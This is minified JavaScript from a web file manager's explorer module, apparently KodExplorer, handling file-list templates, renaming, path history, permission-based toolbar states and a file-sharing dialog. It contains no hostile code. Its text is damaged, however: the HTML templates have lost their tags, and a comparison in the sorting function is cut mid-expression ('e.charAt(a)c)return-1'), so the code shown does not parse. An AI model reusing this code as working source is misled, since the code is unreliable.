i=e.info,t=e.path_read_write,a=i.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="#download,#rename,#cute,#remove,#zip,#past,#clone,#share,#rname,#createLink,.divider",s="disable";if(i.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(s),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),$(".kod_path_tool").find(o).removeClass("hidden")):($(".kod_path_tool").find(o).addClass("hidden"),$(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(s),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=i.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==i.role){var r=e.group_space_use;if(r){var l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".group_space_use").removeClass("hidden").html(l)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var r=e.user_space,l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".user_space_info").html(l)}"not_exists"==t&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),1==G.is_root&&i.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n
    \n
    \n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='list_folder'}}\n
    \n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if list.isParent&&list.is_readable}}{{/if}}\n \n
    \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
    \n
    {{LNG.folder}}
    \n
    \n
    {{list.mtime}}
    \n
    \n
    \n{{if list.isParent&&list.is_readable}}\n
    \n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n
    \n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='icon_file'}}\n
    \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.icon}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
    \n {{/if}}\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='list_file'}}\n
    \n
    \n \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.iconSmall}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
    \n {{/if}}\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    {{list.ext |window.htmlEncode}} {{LNG.file}}
    \n
    {{list.size |core.fileSize}}
    \n
    {{list.mtime}}
    \n
    \n
    \n\n\n{{else if type=='list_split_file'}}\n
    \n
    \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.iconSmall}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
    \n {{/if}}\n\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    \n{{/if}}\n\n"),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var i=e("../../common/pathOperate"),t=e("../../common/pathOpen"),a=void 0; -ui.pathOpen=t;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,i,t,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=i&&""!=i&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof t&&t()})}},s=function(){var e=[],i=60,t=0,a=function(a){var n=e.length-1;return n==t&&e[n]==a?r():(t!=n&&(e=e.slice(0,t+1)),e[e.length-1]!=a&&e.push(a),e.length>=i&&(e=e.slice(1)),t=e.length-1,r(),void 0)},n=function(){e.length-1>=t+1&&(o(e[++t],"","",!0),r())},s=function(){t-1>=0&&(o(e[--t],"","",!0),r())},r=function(){var i="disable",a=e.length-1;$("#history_next").addClass(i),$("#history_back").addClass(i),(0!=t||0!=a)&&(t>0&&a>=t&&$("#history_back").removeClass(i),t>=0&&t!=a&&$("#history_next").removeClass(i))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var i=0;e.length>i;i++)e[i]=trim(e[i],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var i=trim(ui.fileLight.path($(this)),"/");i&&-1!=$.inArray(i,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var i=[];ui.fileLight.fileListAll().each(function(){var t=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));t&&e==t.substring(0,e.length).toLowerCase()&&i.push(a)}),a={key:e,path:G.this_path,index:0,list:i}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(i){var t=ui.fileLight.name($(this));-1!=t.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(i).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,i){var t=G.this_path+e;return void 0==i&&(t+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(t)+'"]').length?!0:!1},p=function(e,i){var t,a=0,n="."+i;if((void 0==i||""==i)&&(n=""),!d(e+n,i))return e+n;for(t=e+"(0)"+n;d(t,i);)a++,t=e+"("+a+")"+n;return t},u=function(e,t){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==t?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==i.strSort(r[a][l],d[l]))break}else if(-1!=i.strSort(r[a][l],d[l]))break;return a+n-1},f=function(t,a,n){ui.fileLight.clear();var o=u(a,t),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:t,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=t&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==t?i.newFolder(a+e,m):i.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",t=ui.fileLight.fileListSelect(),a=ui.fileLight.name(t),o=core.pathFather(ui.fileLight.path(t)),s=ui.fileLight.type(t);if(1==t.length&&n()){if(t.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="";"icon"==G.user_config.list_type&&(l="",t.css({height:t.height()})),$(t).addClass("file_icon_edit").find(".title").html("
    "+l+"
    ");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,i.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(t).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},v=function(e){if(e){var i=[];if(0==ui.fileLight.fileListSelect().length)return i;ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),t="folder"==ui.fileLight.type($(this))?"folder":"file";i.push({path:e,type:t})});for(var t="",a=[],n=0;i.length>n;n++){var o=i[n].path;(""==t||0!=o.indexOf(t))&&(t=o,a.push(i[n]))}return a}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var s=ui.fileLight.fileListSelect(),r=ui.fileLight.path(s),l=ui.fileLight.type(s);return{path:r,type:l}},_=function(e,i){for(var t in G.json_data)if("filelist"==t||"folderlist"==t)for(var a=0;G.json_data[t].length>a;a++)if(G.json_data[t][a][e]==i)return G.json_data[t][a]};return{makeParam:v,history:s,getJsondataCell:_,checkSystemPath:n,appEdit:function(e){if(e)i.appEdit(0,0,"user_add");else{var t=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(t));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),i.appEdit(a)}},appList:function(){i.appList(v().path)},appInstall:function(){i.appInstall(v().path)},openEditor:function(){t.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(t.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return t.open(e),void 0;if(void 0!=e)return t.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var i=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,i.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==i.type){var n=a.attr("data-app");i.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=i.type)&&t.open(i.path,i.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var i=ui.fileLight.type($(this));if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var t=ui.fileLight.path($(this)),a=core.path2url(t,!1);e.push({url:a,name:core.pathThis(t),ext:i})}}),t.play(e)}},pathOperate:i,share:function(){i.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(i){i.ui.setWall(e)}),ui.setWall(e),i.setBackground(e)},createLink:function(e){var t=v(),a=ui.fileLight.fileListSelect().last();t.name=trim(a.find(".filename").text()),i.createLink(t.path,t.name,t.type,e,m)},createProject:function(){i.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?t.download(v().path):i.zipDownload(e)},shareEdit:function(){var e=_("path",v().path);try{var t=G.json_data.share_list[e.sid];i.shareBox(t)}catch(a){}},shareOpenWindow:function(){var e=_("path",v().path),i=e.type;"folder"==e.type&&(i=1==e.code_read?"code_read":"folder");var t="./index.php?share/"+i+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(t)},shareOpenPath:function(){var e=v(),i=_("path",e.path);if(!i||!G.json_data.share_list)return t.open(e.path,e.type),void 0;var a=G.json_data.share_list[i.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),t=ui.fileLight.fileListSelect().last();e.name=trim(t.find(".filename").text()),i.fav(e)},recycleClear:function(){i.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e){if(n()){var t=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(t,function(e){var i=_("path",t[e].path);void 0!=i&&(t[e].type="share",t[e].path=i.sid)}),i.remove(t,m,e)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(t){var a=trim($(this).text());t!=e.length-1?i.favRemove(a,"",!0):i.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&i.copy(v(!0))},cute:function(){n()&&i.cute(v(!0),ui.f5)},zip:function(){i.zip(v(!0),m)},unZip:function(e){n()&&i.unZip(v().path,ui.f5,e)},cuteDrag:function(e){i.cuteDrag(v(!0),e,m)},copyDrag:function(e,t){i.copyDrag(v(!0),e,m,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(v(!0),e,m)})},info:function(){i.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),i.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:i.clipboard}}),define("app/common/pathOperate",[],function(e){var i=["/","\\",":","*","?",'"',"<",">","|"],t=["/","\\"],a=function(e){var a=function(e,i){for(var t=i.length,a=0;t>a;a++)if(e.indexOf(i[a])>0)return!0;return!1},n=t;return G.system_os&&"windows"==G.system_os&&(n=i),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var i=[],t=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)i.push({type:t(e[a].type),path:urlEncode(t(e[a].path))});return"list="+jsonEncode(i)},o=function(e,i){for(var t="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,i.length)>a;a++)if(e.charAt(a)!=i.charAt(a)){var n=t.indexOf(e.charAt(a)),o=t.indexOf(i.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>i.charAt(a)?1:e.charAt(a)c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},l=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof i&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof i&&(Tips.close(e),i(e.info))}}),void 0):("function"==typeof i&&i(),void 0)}},c=function(e,i,t){return e&&i&&e!=i?a(core.pathThis(i))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(i),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0):void 0},d=function(e,i,t){if(!(1>e.length)){var a=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=n(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",a=LNG.share_remove),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",a=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+"");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){if(Tips.close(t),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=t.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}a==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof i&&i(t)}})};t===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:a,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var i=e.path,t=core.pathPre(i);if(t==G.KOD_GROUP_PATH||t==G.KOD_GROUP_SHARE||t==G.USER_SHARE)return Tips.tips(LNG.path_can_not_action,!1),void 0;var a="folder"==e.type?"folder":"file";1>i.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(i),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),f(e.data);else{G.self_share=e.info;var t={path:i,type:a,name:core.pathThis(i)};h(t,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(i),$(".content_info input[name=name]").val(core.pathThis(i)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(i,t){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(i),void 0!=t&&t()})},h=function(e,i){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=i&&i(e)}})},m=function(i){var t=e("./tpl/share.html"),a=template.compile(t),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),i=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var t=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(t),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:i.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var i=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(i=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+i}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),t=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var i=e.val().length;if($.browser.msie){var a=t.createTextRange();a.moveEnd("character",-t.value.length),a.moveEnd("character",i),a.moveStart("character",0),a.select()}else t.setSelectionRange(0,i)})};s(i),r()},v=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},_=function(e,i,t,a,n){if(console.log(e,i,t,a,n),!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==t?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+i+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=t),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,i){if(!(1>e.length)){var t=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+t+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof i&&i(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,i){e&&(Tips.loading(LNG.moving),setTimeout(function(){var t="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:t,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof i&&i(e.info)}})},50))},x=function(i){var t={};t.file_info=e("./tpl/fileinfo/file_info.html"),t.path_info=e("./tpl/fileinfo/path_info.html"),t.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>i.length&&(i=[{path:G.this_path,type:"folder"}]);var 